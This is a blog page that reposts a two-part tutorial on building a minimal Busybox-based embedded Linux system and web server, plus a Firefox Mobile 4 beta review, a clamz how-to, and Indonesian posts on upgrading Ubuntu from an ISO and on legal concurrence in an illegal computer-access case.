ok

This is default featured post 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured post 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured post 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured post 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured post 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

31/10/10

Simple Embedded Linux System (part2)

Introduction

This is the second article in a series demonstrating the fundamental aspects of constructing embedded systems.

In this article, we cover the construction of a simple web server with a command shell on the console.

This article, and indeed the whole series, assumes a basic understanding of a Linux-based operating system. While discussing concepts and general approaches these concepts are demonstrated with extensive practical examples. All the practical examples are based upon a Debian- or Ubuntu-based distribution.

Automated, reproducible, reliable building

One of the common pitfalls in building embedded systems is the tendency towards too much manual involvement in the build process. There seems to to be a misconception that because embedded systems are built, deployed and rarely updated that building them by hand saves time that would otherwise be spent automating the process.

Making the build process automatic and repeatable should be viewed as a critical part of the project. This enables the software engineers developing a product to have as short an edit, build and test cycle as possible. The desirability of a short development process should be self-evident, in that an engineer who can perform only one or two tests a day can only hope to debug and fix a small number of issues, where one who can perform a hundred tests can find and fix a far larger number of issues.

Another common mistake is not keeping the whole project in a Revision Control System (RCS). The benefits of revision control on any project have become increasingly evident and a wide selection of extremely powerful systems exist. The Subversion (svn) system is extremely popular for centralised RCS, while Bazaar (bzr) and GIT have become common for distributed RCS. Regardless of the model and tools chosen, revision control should never be omitted from a project.

For larger projects a centralized "build manager" is often desirable. This is a piece of software which builds the current project from the revision control system on a regular basis. Some projects rebuild on every commit, which may not be practical where a build takes an extended period of time. In such cases a system which rebuilds as often as it can, perhaps including numerous commits, should be employed. The results of these builds should be made available, and the developers informed as soon as possible of failures. This ensures the project is always in a state where it might be branched ready for formal testing and release.

A good article discussing these ideas further is Daily Builds Are Your Friend, by Joel Spolsky. Although this article refers to application development specifically, its analysis is valid on the larger project scale. Several other articles on best-practice for building software projects exist.

Scripting builds and common tasks

In the previous article we constructed an initramfs cpio-based system using the binaries of the host system. The steps were performed manually, and were we to continue with that approach any increase in complexity would rapidly make it impractical.

To solve this issue we turn to the Unix system’s scripting tools. A shell script to perform the build actions makes the build easily repeatable and saves continually re-typing a lot of commands.

The mkbusyfs.sh [available here] script is an automation of the steps performed in the previous article.

In addition to the basic setup the script adds functions to copy executables and their library dependencies, configure a DHCP client and copy kernel modules from the host to the target. These functions are straightforward and self-contained and their operation should be obvious.

The script is written to be reusable for a number of projects by including a second “application” script. This enables us to reuse the base functionality in future articles. The scripts are provided under a BSD-style licence and may be taken and modified as desired.

To implement the simple system illustrated in the previous article, the simple.sh [available here] configuration script can be used.

To keep things neat these scripts should be placed in a directory (these examples assume that it will be called mkbusyfs) alongside where the output should be generated.

The simple system would be generated using the command ./mkbusyfs.sh simple and output would be placed in in the parent directory.

$ pwd
/home/dev/mkbusyfs
$ ./mkbusyfs.sh simple
Building simple
simple specific
Creating CPIO ../simple.gz
$ ls ..
mkbusyfs simple simple.gz
$


Creating a web server's file system

The first thing we must consider is which web server to install, this is of course dependant on our project requirements.

One choice might be the Apache Web Server, however this would be impractical for all but the largest embedded system. Apache's executables, library dependencies and other system dependencies are relatively large. A more suitable alternative would be thttpd which is a few hundred kilobytes and has very few dependencies.

First we need to create a mkbusyfs configuration script.

#!/bin/sh
# web server application specific mkbusyfs shell fragment
USE_DHCPC=y
EXTRA_LIBS="ld-linux.so.2 libnss_dns.so.2"
#KERNEL_VER=2.6.26-1-686
KERNEL_MODULES="kernel/drivers/net/ne2k-pci.ko \
kernel/drivers/net/8390.ko \
kernel/drivers/net/e1000e/e1000e.ko"
application_specific()
{
DESTDIR=$1
}


This configuration enables the DHCP client (which will require an init script, available here) and lists the kernel modules to be copied into the output. These are required drivers for network cards.

The project could be built and tested at this point if desired. It should initialise a system and acquire an IP address using DHCP.

Next the thttpd binary needs to be acquired. Instead of simply copying this from the host file system we can acquire the deb package from the package mirror, unpack it and extract the items we require without needing to install the package on the host. This does require the devscripts package to be installed but means no superuser privileges are required to build the system.

#!/bin/sh
# web server application specific mkbusyfs shell fragment
USE_DHCPC=y
EXTRA_LIBS="ld-linux.so.2 libnss_dns.so.2"
KERNEL_VER=2.6.26-1-686
KERNEL_MODULES="kernel/drivers/net/ne2k-pci.ko \
kernel/drivers/net/8390.ko \
kernel/drivers/net/e1000e/e1000e.ko"
application_specific()
{
DESTDIR=$1
CURDIR=$(pwd)
mkdir -p /tmp/thttpd/thttpd
cd /tmp/thttpd
dget thttpd
dpkg -x thttpd*.deb thttpd
cd ${CURDIR}
add_program /tmp/thttpd/thttpd/usr/sbin/thttpd /usr/sbin/thttpd
rm -rf /tmp/thttpd
}


If we were going to add a second package it might be worth extracting this package acquisition and unpacking into a function. Such judgements are of course arbitrary, but if something is done more than once it is often sensible to create a helper function as then, if a change must be made, all the affected uses will be updated.

The next step is to add the configuration to start the web server and add some basic content. The complete script can be downloaded here.

The only slight difference here is that an additional library and a /etc/passwd file was required so the web server could change to execute as the www-data user.

When the output is generated it may be tested using QEMU again. The command line to run QEMU is slightly different as it needs to enable a NIC and redirect the emulated systems port 80 to the host's port 8080. This allows the web server to be accessed from the host using a web browser and the URL http://localhost:8080/.

$ qemu -kernel ./vmlinuz-2.6.26-1-686 -initrd webserver.gz \
-append "root=/dev/ram" -net nic -net user \
-redir tcp:8080:10.0.2.15:80 /dev/zero


The pre-built Kernel and generated output for an x86 system are provided here and here.

What's next?

This second step demonstrates the ideas of automation and repeatability and shows how the basic environment constructed in the previous article can be expanded to produce a system capable of interacting with a user.

The next step is to use the concepts presented here and expand them by introducing a more complex application built from source and discussing some limitations of real hardware and issues that arise from it.



source from http://www.linuxfordevices.com
by Vincent Sanders and Daniel Silverstone

Simple Embedded Linux System (part 1)

Introduction

Constructing an embedded system with Linux is often seen as a complex undertaking. This article is the first in a series which will show the fundamental aspects of constructing such systems and enable the reader to apply this knowledge to their specific situation.

This first article covers the construction of the most basic system possible, which will provide a command shell on the console. Along with the rest of the series, it assumes a basic understanding of a Linux-based operating system. While discussing concepts and general approaches, these concepts are demonstrated with extensive practical examples. All the practical examples are based upon a Debian- or Ubuntu-based distribution.

What is an embedded system?

The term "Embedded System" has been applied to such a large number of systems that its meaning has become somewhat ill-defined. The term has been applied to everything from 4-bit microcontroller systems to huge industrial control systems.

The context in which we are using the term here is to refer to systems where the user is limited to a specific range of interaction with a limited number of applications (typically one). Thus, from the whole spectrum of applications which a general purpose computer can run, a very narrow selection is made by the creator of the embedded system software.

It should be realized that the limits of interaction with a system may involve hardware as well as software. For example, if a system is limited to a keypad with only the digits 0 to 9, user interaction will be more constrained than if the user had access to a full 102-key keyboard.

In addition to the limiting of user interaction, there may also be limits on the system resources available. Such limits are typically imposed by a system's cost, size, or environment. However, wherever possible, these limits should be arrived at with as much knowledge of the system requirements as possible. Many projects fail unnecessarily because an arbitrary limit has been set which makes a workable solution unachievable. An example of this would be the selection of a system's main memory size before the application's memory requirements have been determined.

What do you want to achieve?

A project must have a clearly defined goal.

This may be viewed as a statement of the obvious, but it bears repeating as for some unfortunately inexplicable reason, embedded systems seem to suffer from poorly-defined goals.

An "embedded" project, like any other, should have a clear statement of what must be achieved to be declared a success. The project brief must contain all the requirements, as well as a list of "desirable properties." It is essential that the two should not be confused; e.g., if the product must fit inside a 100mm by 80mm enclosure, that is a requirement. However, a statement that the lowest cost should be achieved is a desirable item, whereas a fixed upper cost would be a requirement.

If information necessary to formulate a requirement is not known, then it should be kept as a "desirable item" couched in terms of that unknown information. It may be possible that once that information is determined, a requirement can be added.

It is, again, self-evident that any project plan must be flexible enough to cope with changes to requirements, but it must be appreciated that such changes may have a huge impact on the whole project and, indeed, may invalidate central decisions which have already been made.

General IT project management is outside the scope of this article. Fortunately there exist many good references on this topic.

Requirements which might be added to a project brief based on the assumptions of this article are:
  • The system software will be based upon a Linux kernel.
  • The system software will use standard Unix-like tools and layout.
The implications of these statements mean the chosen hardware should have a Linux kernel port available, and must have sufficient resources to run the chosen programs.

Another important consideration is what kind of OS the project warrants. For example, if you have a project requirement of in-field updates, then you may want to use a full OS with package management, such as Debian GNU/Linux or Fedora. Such a requirement would, however, imply a need for a non-flash-based storage medium such as a hard disc for storing the OS, as these kinds of systems are typically very large (even in minimal installations), and not designed with the constraints of flash-based storage in mind. However, given that additional wrinkle, using an extant operating system can reduce software development costs significantly.

Anatomy of a Linux-based system

Much has been written on how Linux-based systems are put together; however a brief review is in order, to ensure that basic concepts are understood.

To be strictly correct the term "Linux" refers only to the kernel. Various arguments have been made as to whether the kernel constitutes an operating system (OS) in its entirety, or whether the term should refer to the whole assemblage of software that makes up the system. We use the latter interpretation here.

The general steps when any modern computer is turned on or reset is:
  • The CPU (or designated boot CPU on multi-core/processor systems) initializes its internal hardware state, loads microcode etc.
  • The CPU commences execution of the initial boot code, e.g., the BIOS on x86 or the boot-loader on ARM.
  • The boot code loads and executes the kernel. However, it is worth noting that x86 systems generally use the BIOS to load an intermediate loader such as GRUB or syslinux, which then fetches and starts the kernel.
  • The kernel configures the hardware and executes the init process.
  • The init process executes other processes to get all the required software running.
The kernel's role in the system is to provide a generic interface to programs, and arbitrate access to resources. Each program running on the system is called a process. Each operates as if it were the only process running. The kernel completely insulates a program from the implementation details of physical memory layout, peripheral access, networking, etc.

The first process executed is special in that it is not expected to exit, and is expected to perform some basic housekeeping tasks to keep a system running. Except in very specific circumstances, this process is provided by a program named /sbin/init. The init process typically starts a shell script at boot to execute additional programs.

Some projects have chosen to run their primary application as the init process. While this is possible, it is not recommended, as such a program is exceptionally difficult to debug and control. A programming bug in the application halts the system, and there is no way to debug the issue.

One feature of almost all Unix-like systems is the shell, an interactive command parser. Most common shells have the Bourne shell syntax.

A simple beginning

We shall now consider creating a minimal system. The approach taken here requires no additional hardware beyond the host PC, and the absolute minimum of additional software.

As already mentioned, these examples assume a Debian or Ubuntu host system. To use the QEMU emulator for testing, the host system must be supported by QEMU as a target. An example where this might not be the case is where the target system is x86-64, which QEMU does not support.

To ease construction of the examples, we will use the kernel's initramfs support. An initramfs is a gzip-compressed cpio archive of a file system. It is unpacked into a RAM disk at kernel initialization. A slight difference to normal system start-up is that while the first process executed must still be called init, it must be in the root of the file system. We will use the /init script to create some symbolic links and device nodes before executing the more-typical /sbin/init program.

This example system will use a program called Busybox, which provides a large number of utilities in a single executable, including a shell and an init process. Busybox is used extensively to build embedded systems of many types.

The busybox-static package is required to obtain pre-built copy of the Busybox binary and the qemu package is required to test the constructed images. These may be obtained by executing:

$ sudo apt-get install busybox-static qemu


As mentioned, our initramfs-based approach requires a small /init script. This configures some basic device nodes and directories, mounts the special /sys and /proc file systems, and starts the processing of hotplug events using mdev.

#!/bin/sh

# Create all the busybox symbolic links
/bin/busybox --install -s

# Create base directories
[ -d /dev ] || mkdir -m 0755 /dev
[ -d /root ] || mkdir --mode=0700 /root
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
mkdir -p /var/lock

# Mount essential filesystems
mount -t sysfs none /sys -onodev,noexec,nosuid
mount -t proc none /proc -onodev,noexec,nosuid

# Create essential filesystem nodes
mknod /dev/zero c 1 5
mknod /dev/null c 1 3

mknod /dev/tty c 5 0
mknod /dev/console c 5 1
mknod /dev/ptmx c 5 2

mknod /dev/tty0 c 4 0
mknod /dev/tty1 c 4 1

echo "/sbin/mdev" > /proc/sys/kernel/hotplug

echo "Creating devices"
/sbin/mdev -s

exec /sbin/init


To construct the cpio archive, the following commands should be executed in a shell. Note, however, that INITSCRIPT should be replaced with the location of the above script.

$ mkdir simple
$ cd simple
$ mkdir -p bin sbin usr/bin usr/sbin
$ cp /bin/busybox bin/busybox
$ ln -s busybox bin/sh
$ cp INITSCRIPT init
$ chmod a+x init
$ find . | cpio --quiet -o -H newc | gzip >../simple.gz
$ cd ..


To test the constructed image use a command like:

$ qemu -kernel /boot/vmlinuz-2.6.26-1-686 -initrd simple.gz \
             -append "root=/dev/ram" /dev/zero


This should present a QEMU window where the OS you just constructed boots and displays the message "Please press Enter to activate this console." Press enter and you should be presented with an interactive shell from which you can experiment with the commands Busybox provides. This environment is executing entirely from a RAM disc and is completely volatile. As such, any changes you make will not persist when the emulator is stopped.

Booting a real system

Starting the image under emulation proves the image ought to work on a real system, but there is no substitute for testing on real hardware. The syslinux package allows us to construct bootable systems for standard PCs on DOS-formatted storage.

A suitable medium should be chosen to boot from, e.g., a DOS-formatted floppy disk or a DOS-formatted USB stick. The DOS partition of the USB stick must be marked bootable. Some USB sticks might need repartitioning and reformatting with the Linux tools in order to work correctly.

The syslinux program should be run on the device /dev/fd0 for a floppy disk, or something similar to /dev/sdx1 for a USB stick. Care must be taken, as selecting the wrong device name might overwrite your host system's hard drive.

The target device should then be mounted and the kernel and the simple.gz file copied on.

The syslinux loader can be configured using a file called syslinux.cfg which would look something like:

default simple
timeout 100
prompt 1

label simple
  kernel vmlinuz
  append initrd=simple root=/dev/ram


The complete command sequence to perform these actions, substituting file locations as appropriate, is:

$ sudo syslinux -s /dev/sdd1
$ sudo mount -t vfat -o shortname=mixed  /dev/sdd1 /mnt/
$ cd /mnt
$ sudo cp /boot/vmlinuz-2.6.26-1-686 VMLINUZ
$ sudo cp simple.gz SIMPLE
$ sudo cp syslinux.cfg SYSLINUX.CFG
$ cd /mnt
$ sudo umount /mnt


The device may now be removed and booted on an appropriate PC. The PC should boot the image and present a prompt exactly the same way the emulator did.

What's next?

This first step, while simple, provides a complete OS, and demonstrates that constructing an embedded system can be a straightforward process.

The next step is to expand this simple example to encompass a specific application, which will be covered in the next article.





source from http://www.linuxfordevices.com.
by Vincent Sanders and Daniel Silverstone.

29/10/10

First Look at Firefox Mobile 4

Mozilla has publicized beta releases of the desktop version of Firefox 4 since July, but mobile users can test out the next major update to the mobile browser as well. Firefox 4 for Mobile is officially at beta 1, with builds available for devices running Android and Nokia's Maemo operating system.
The beta release was announced on October 7, along with a note that from this release onward, Firefox for Mobile would use the same version-numbering scheme as the desktop application, to avoid confusion.
Mobile users are encouraged to grab the actual download from their target devices, by visiting the short URL firefox.com/m/beta. Those who are already running the existing Firefox for Mobile client (version 1.1) should visit the download site with their device's system browser — and beware of data charges if attempting the download over a mobile network; the browser package weighs in at 12MB for Android and 13MB for Maemo. The package expands to consume approximately 40MB of disk storage (although Mozilla assures users it will eventually whittle that number down by 50%)

Getting the Code

A thread at the Maemo forum logs trouble that some users have encountered with the update process; the N900's Application Manager seems to reject the beta package as coming from a different domain than the Apt repository that provides it. The fix is to download the .deb package directly and install it.
Officially, only a subset of the generally-available Android phones are supported, and only the N900 phone is supported on the Maemo side. However, several Maemo users report being able to run the browser on older Maemo platforms, such as the N800 and N810 tablets. Unsupported nightly builds are available for additional Android devices, linked to from the system requirements page. In addition, Mozilla makes binary desktop builds available for Linux, Mac OS X, and Windows, so that add-on developers can test for compatibility and Web designers can test site rendering.
The news is not as bright for some other platforms, however. Mozilla announced earlier this year that all development for Firefox for Mobile on Windows Mobile has been suspended indefinitely, because Microsoft has not released a native application development kit for the newest version, Windows Phone 7. The project has also updated the explanation behind its decision to not developer for the iPhone and iPad: Apple does not allow iOS applications to include a JavaScript engine, effectively hampering a port to the point where it would cease to be Firefox.
Mozilla's Firefox Home app for iOS is still available, which uses Mozilla's Firefox Sync service to synchronize iOS's native browser with the user's existing Firefox bookmarks, tabs, and history. Symbian and Palm's webOS are similarly unsupported, although third-party efforts to port Firefox to them have been undertaken in the past.

What's New

The new release sports several improvements over the previous generation, some shared with the desktop incarnation of Firefox, but some original to the mobile user experience. Commonalities include all of the enhancements to Firefox's Web rendering and JavaScript engines, adding support for HTML5 technologies such as offline storage, ,
Improving the speed and responsiveness of the user interface (UI) is a major focus of this release; doubly important because of the relative paucity of RAM and CPU cycles in most handheld devices. The beta introduces two key changes designed to improve browsing responsiveness. The first is called Electrolysis, which splits the rendering of browser chrome and content into separate processes. That allows the UI to respond to user input even if a loading page is consuming more than its share of CPU cycles. The second is Layers, which separates graphic-intensive actions like scrolling and zooming into a separate process as well, saving the browser from re-rendering the page during these operations.
Mobile users can now take advantage of some platform-specific features in the user interface as well. The Android builds support pinch-to-zoom, and the N900 build supports the hardware +/- keys to zoom in and out. A feature called "Smart Tapping" is designed to better interpret finger taps on tiny links and page elements, which can be tricky to target on a small screen. Along those same lines, while the Awesome Bar remains on desktop Firefox, in Firefox for Mobile it has been replaced by the "Awesome Screen," which pops-up recently-visited and bookmarked sites rendered as easier-to-touch buttons instead of narrow lines of text. Finally, "long tapping" (i.e., tap-and-hold) now brings up a context menu allowing the user to open links in a new tab or share them via email or social networking service.
The release notes also tout the mobile browser's "personalized start page," which starts the browser displaying links to the user's tabs from the previous browsing session. That functionality has not changed much (if at all) since the last release of Firefox for Mobile, which makes it a puzzling bullet point, although it is still a convenience.

Running It

I tested the Firefox 4 beta on an N900 device, and it is indeed noticeably faster than version 1.1. Start-up time has improved from an agonizing 24 seconds to less than 10, and page loading is discernibly more responsive. Naturally these numbers vary with what extensions are installed, but one nice feature is that Firefox for Mobile remembers the add-ons installed from version 1.1, even if you remove 1.1 prior to installing the version 4 beta. Presumably this is due to Firefox Sync, which is a feature rivaling the introduction of tabs for its addictiveness.
Firefox for Mobile's Awesome Screen pops up full-screen, making it easier to negotiate than Awesome Bar.
Firefox for Mobile's Awesome Screen pops up full-screen, making it easier to negotiate than Awesome Bar.

On the down side, Firefox for Mobile still does not support plugins. Mozilla says this is due to the dismal performance of the Flash plugin on mobile device hardware, but while I am no fan of Flash, it still results in a gap between the "real" Web and the "mobile" Web — the very gap Firefox for Mobile set out to close. Perhaps it is just another reminder that projects like Lightspark and Gnash need more attention; it is a wonder Mozilla Corporation does not attempt to invest in their development.
Extensions, on the other hand, are a booming business in Firefox for Mobile. The Mobile section of addons.mozilla.org now hosts close to 100 extensions, not counting the "experimental" build category that may lock up or crash your browser. More and more desktop extensions are being offered in mobile versions as well, including the fix-it-all NoScript and various social media toolbars for the Twitter and Facebook addict.
In my decidedly unscientific stability tests, the Firefox 4 beta seems to have made strides over version 1.1 as well. Several common, non-interactive (i.e., not AJAX or JavaScript-heavy application sites) sites that would lock up 1.1 if left on too long have no such effect on the beta release. On top of that, Firefox for Mobile now pops-up the Unresponsive Script warning if it encounters such trouble, a feature I missed in 1.1.
The usability enhancements are probably best tested under harsh conditions, such as trying to navigate a bus schedule page one-handed while running down the street. It's difficult to accurately gauge the effect that features Smart Tapping or pinch-to-zoom would have when sitting at the desk. Still, I am confident that these are improvements the average person will be grateful for in those situations where a free hand or a stylus just aren't available.

The Mobile Play

I do not buy in to the "the desktop is dead" fad circulating on many open source news and discussion forums, but one thing is clear: the battle for dominance on mobile devices is the most important front in open source software over the next few years. That is important because Mozilla is one of the few FOSS desktop application vendors that is proactively pursuing this platform.
After all, it is all well and good that Android itself is an open source operating system, but the application marketplace and the OEM pre-installed app list is still dominated by proprietary software. Maemo is soon to be replaced in mass-market devices by MeeGo, and although its netbook builds run the usual stack of Linux applications, the handheld products may not. We might not see Emacs and XChat on our phones any time soon, but it's reassuring to see a high-quality, extensible open source browser made available. I just wonder if we will ever see it preinstalled.

Get Your Music Fix From Amazon MP3 on Linux with Clamz

Music loving Linux users take note: Though Amazon hasn't updated its Linux downloader for Amazon MP3 in ages, you can still get your MP3 fix off Amazon using clamz.
Amazon MP3 offers a really good selection of DRM-free music, including a fairly hefty selection of free songs and sampler albums. But Linux users have been getting the short end of the stick from Amazon lately, because the retail giant rarely updates the MP3 download client for Linux. That's not a big deal if you're just buying a single song, but it's a prerequisite for downloading Amazon albums.
Unless you're running Ubuntu 9.04, Fedora 11, or openSUSE 11.1 (all of which are past or nearly past their support lifecycle), you're out in the cold. Or are you? Linux users have at least two options for getting their MP3 fix from Amazon: recent releases of Banshee with Amazon MP3 Store support, and clamz. Since many Linux users already have a favorite media player, we'll take a look at clamz and how you can use it to take the place of the official Amazon downloader.
The other nice thing about clamz is that it's Free software, released under the GNU General Public License version 3 (GPLv3).

Getting and Using clamz

Most distributions do not package clamz, though it is available in the Ubuntu 10.10 repos. To get clamz, just run sudo apt-get install clamz, and you'll be set.
But if you need to compile clamz, make sure that you have libgcrypt, libcurl, and libexpat and their development packages installed. Once you have those, all you need to do is to uncompress the most recent tarball and cd to the source directory.
Then you'll run ./configure, and make. Assuming those complete without errors, run sudo make install, like so:

cd clamz-0.X
./configure && make
sudo make install
All good? Fantastic! Now it's time to start with the downloads. Because of the way that Amazon's downloads work, you need to complete an extra step to get it to work with your browser.
Go to the after download manager install page on Amazon, and it will register clamz properly with your browser. You may have to repeat this if you use two (or more) browsers. If you're using Chrome or Chromium, it will download the .amz file rather than pass it to clamz — even though the file type is properly associated with clamz. To fix this, click the arrow next to the file on the downloads bar (at the bottom of the Chrome/Chromium window) and select Always Open Files of this Type.

Advantages of clamz

Or don't, if you prefer you can use clamz to manually download songs like so:
clamz AmazonMP3-1278274782.amz
The number following AmazonMP3 is specific to the download, of course, so change that to the appropriate filename.
Here's where clamz outshines the native Amazon downloader. First, it keeps acopy of the .amz file under ~/.clamz/amzfiles. The native downloader deletes the files after it downloads the songs. Be sure to keep a copy of these, in case you lose your MP3s! I shouldn't have to add this, but I will: Don't share the .amz files with anyone else. One, it's not legal. Two, it'd be giving Amazon an incentive to try to obfuscate further the .amz format and make it harder for Linux users to use clamz. We really don't want to do that. Third? I suspect strongly that Amazon includes identifying information in the .amz files, so you probably don't want to be doing any illicit sharing there.
If you run clamz --help or man clamz, you'll see that it has a bevy of options. I won't go into all of them, but I do want to point out a couple of them. First, the -i option will display the info about an .amz file to standard out. So you can see what album an particular file is associated with by using clamz -i AmazonMP3-number.amz.
Want to change the default directory or filenames that clamz uses when writing the files? The -o (output) and -d (output directory) options support a bunch of variables like the track numbers, artists, genre, album title, and so forth.
But who wants to have to specify those on the command line every time you buy an album? Not me! But like all sane *nix applications, clamz has its very own config file that you can use to specify these options just once and use every time.
The file is ~/.clamz/config and you can use that to modify the format of the filenames, the output directory, and more. I've left most everything the same, but I wanted to modify the default output directory to live under my Dropbox directory:

OutputDir       "/home/jzb/Dropbox/clamz/${album_artist}/${album}"
As you can see, clamz will copy files to a "clamz" directory under Dropbox, and then create a directory for the album artist and the album name. You can use any of the supported variables here — so if you prefer to sort files by genre, use ${genre}.
That should be more than enough to get started. Poke around the man page if you want to do more with clamz.
A big kudos to the clamz developers. It's a simple utility that makes life just a little bit better, and helps put Linux users on par with Windows and Mac users. It's too bad Amazon doesn't treat Linux users as first class citizens with its tools, but the community will provide.
Of course, Amazon isn't the only game in town. Ubuntu users have the Ubuntu One music store, which has a similar selection and pricing to the Amazon MP3 store. There's also Magnatune, which is a label for independent artists and has a really large selection of interesting music. If you want the latest Lady Gaga, you'll not find it there. But if you want some excellent world music, classical, or indie alt rock and hip hop, check out Magnatune. All of their stuff is available under a CC license, and you can listen to everything before you buy.
You'll also find interesting stuff over at CD Baby. Again, mostly indie music — but lots of really good stuff.
Have a favorite Linux-friendly music source? Please share it in the comments!

sumber: Joe 'Zonker' Brockmeier

05/05/10

Upgrade Menggunakan Berkas ISO to ubuntu lucid

Kerena ndak punya cd buat bakar iso lucid terus gagal gitu upgrade to lucid ndak donk ,pake internet langsung b/w pas-pasan  ok lah tetap ada caranya .
Berikut langkah-langkahnya:
  1. Unduh berkas ISO versi Alternate (nama berkasnya berakhiran dengan tulisan ‘alternate‘) cari di link download di indo dah banyak macem dll-foss.web.id..
  2. Taruh berkas ISO hasil unduh tersebut di Desktop (biasanya di /home//Desktop).
  3. Buka terminal, masukkan perintah berikut: (dengan asumsi anda mengunduh berkas ISO Alternate versi 32-bit)
    sudo mount -o loop ~/Desktop/ubuntu-10.04-alternate-i386.iso /media/cdrom0
    Perintah di atas digunakan untuk melakukan ‘mount‘ berkas ISO ke drive CD-ROM anda, jadi seolah-olah berkas ISO Alternate tersebut ‘dimasukkan’ ke drive CD-ROM anda. Kalau anda pernah menggunakan Daemon Tools atau Virtual CD pada Windows, kira-kira konsep mount ini seperti itu. ^^
  4. Akan muncul jendela dialog konfirmasi untuk melakukan upgrade.
  5. Bila dialog tersebut tidak muncul, tekan ALT + F2, dan masukkan perintah berikut:
    gksu "sh /cdrom/cdromupgrade"
  6. Ikuti petunjuk upgrade yang ada di layar.pilih sesuai yang mau anda upgrade atau mau hapus disini dibutuhkan ketelitian ok .
Semua setting, konfigurasi, dan aplikasi anda kemungkinan besar akan tetap “dipertahankan” saat upgrade, dengan syarat: aplikasi/setting/konfigurasi tersebut KOMPATIBEL dengan Ubuntu 10.04. Ada baiknya anda memperhatikan petunjuk upgrade langkah-per-langkah yang tampil di layar. Ada salah satu bagian yang menampilkan daftar aplikasi yang akan “dihapus” atau “diupgrade”. Selamat mencoba!
saalam emmbeker .

Concursus di dalam Kasus findtouyou.com

Akhirnya saya sedikit paham dengan masalah findtoyou.com ini setelah Adi dari pihak findtoyou.com menjelaskan perihal bagaimana awal mula proses yang berakhir dengan berpindahnya program mereka ke sebuah website lain. Selain terhadap pelanggaran terhadap etika sebuah hak cipta, ternyata ditemukan lagi sebuah delik di dalam proses itu. Delik yang dimaksud adalah berupa penerobosan atau bahasa sederhananya adalah akses ilegal terhadap sistem elektronik yang dipunyai oleh findtoyou.com.

Jika menilik dari runtutan proses ini, setidaknya ada 2 delik di dalam satu waktu. Lalu pertanyaan selanjutnya adalah, bagaimana sistem pemidanaan terhadap kasus dengan delik lebih dari satu ini ?, jawabannya adalah dengan menggunakan kaidah concursus. Sebelum kita memasuki kasus tersebut, ada baiknya kita menyelami terlebih dahulu apa itu concursus dan bagaimana sistem pemidanaannya. Concursus sendiri berarti perbarengan yang menggambarkan adanya kebersamaan. Kebersamaan ini maksudnya adalah pemeriksaan seorang terdakwa atau lebih berdasarkan beberapa ketentuan pidana yang telah dilanggarnya secara bersama dalam satu perkara, dengan begitu masalah utamanya adalah nanti ketika penjatuhan pidana.

Di dalam penjatuhan pidana dalam hal ini ada 4 sistem yaitu: absorbsi murni, absorbsi dipertajam, kumulasi murni, dan komulasi yang diperlunak.

1. absorbsi murni: pemidanaan dengan menggunakan pidana terberat saja.
2. kumulasi murni: pemidanaan dengan mendasarkan pada semua pidana yang diancamkan.
3. absorbsi dipertajam: pemidaan dengan menggunakan pidana terberat ditambah sepertiganya.
4. kumulasi diperlunak: pemidaan dengan dengan mendasarkan pada beberapa delik dan masing-masing ancaman pidana diterapkan pada terdakwa akan tetapi jumlah keseluruhan pidana tidak boleh melebihi ancaman pidana terberat ditambah sepertiga.

Setelah mengetahui sistem pemidaan dari concursus, ada baiknya kita mengetahui jenis-jenis dari concursus, yaitu: gabungan peraturan (concurcus idealis), perbuatan berlanjut (voortgezette handeling), gabungan perbuatan (concursus realis).

1. concursus idealis: pada pasal 63 ayat 1 dan 2 KUHP dapat kita tarik benang merah bahwa yang dimaksud disini adalah delik yang dilaksanakan lebih dari satu, masuk dari lebih satu aturan pidana maka yang dikenakan yang memuat ancaman terberat (ayat 1). Jika delik tersebut masuk ke dalam ranah aturan pidana umum dan ternyata diatur dalam ranah pidana khusus, maka pidana khususlah yang digunakan.

2. voorgezette handeling: pada pasal 64 KUHP

3. concursus realis: pada pasal 65-71 KUHP.

Setelah mengetahui secara singkat ada baiknya kita langsung memasuki posisi kasus tersebut. Di dalam kasus tersebut ada dua delik, yaitu menerobos atau menjebol atau setidak-tidaknya melakukan akses ilegal terhadap area dari findtoyou.com, dan melakukan pencurian terhadap program komputer yang di migrasikan kepada website lainnya. Apabila seseorang asing yang bukan setidaknya administrator/user legal dari sebuah sistem elektronik memasukinya tanpa izin pemilik atau penanggungjawab maka hal termasuk klasifikasi dari cracking. Sebelum memasuki UU ITE sebagai hukum positif, ada baiknya kita mengetahui di dalam KUHP terdapat beberapa tindakan akses ilegal sesuai dengan konteks ketika KUHP dibuat:

Pasal 167:

(1) Barang siapa memaksa masuk ke dalam rumah, ruangan atau pekarangan tertutup yang dipakai orang lain dengan me- lawan hukum atau berada di situ dengan melawan hukum, dan atas permintaan yang berhak atau suruhannya tidak pergi dengan segera, diancam dengan pidana penjara paling lema sembilan bulan atau pidana denda paling banyak empat ribu lima ratus rupiah.

(2) Barang siapa masuk dengan merusak atau memanjat, dengan menggunakan anak kunci palsu, perintah palsu atau pakaian jahatan palsu, atau barang siapa tidak setahu yang berhak lebih dahulu serta bukan karena kekhilafan masuk dan kedapatan di situ pada waktu malam, dianggap memaksa masuk.

(3) Jika mengeluarkan ancaman atau menggunakan sarana yang dapat menakutkan orang, diancam dengan pidana penjara paling lama satu tahun empat bulan.

(4) Pidana tersebut dalam ayat 1 dan 3 dapat ditambah sepertiga jika yang melakukan kejahatan dua orang atau lebih dengan bersekutu.

Dan pada pasal 551:

Barang siapa tanpa wewenang berjalan atau berkendaraan di atas tanah yang oleh pemiliknya dengan cara jelas dilarang memasukinya, diancam dengan pidana denda paling banyak dua ratus dua puluh lima rupiah.

Setelah mengetahui dari KUHP, baiklah kita sekarang menuju kepada UU ITE, pada pasal 30 ayat 2:

Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum mengakses Komputer dan/atau Sistem Elektronik dengan cara apa pun dengan tujuan untuk memperoleh Informasi Elektronik dan/atau Dokumen Elektronik.

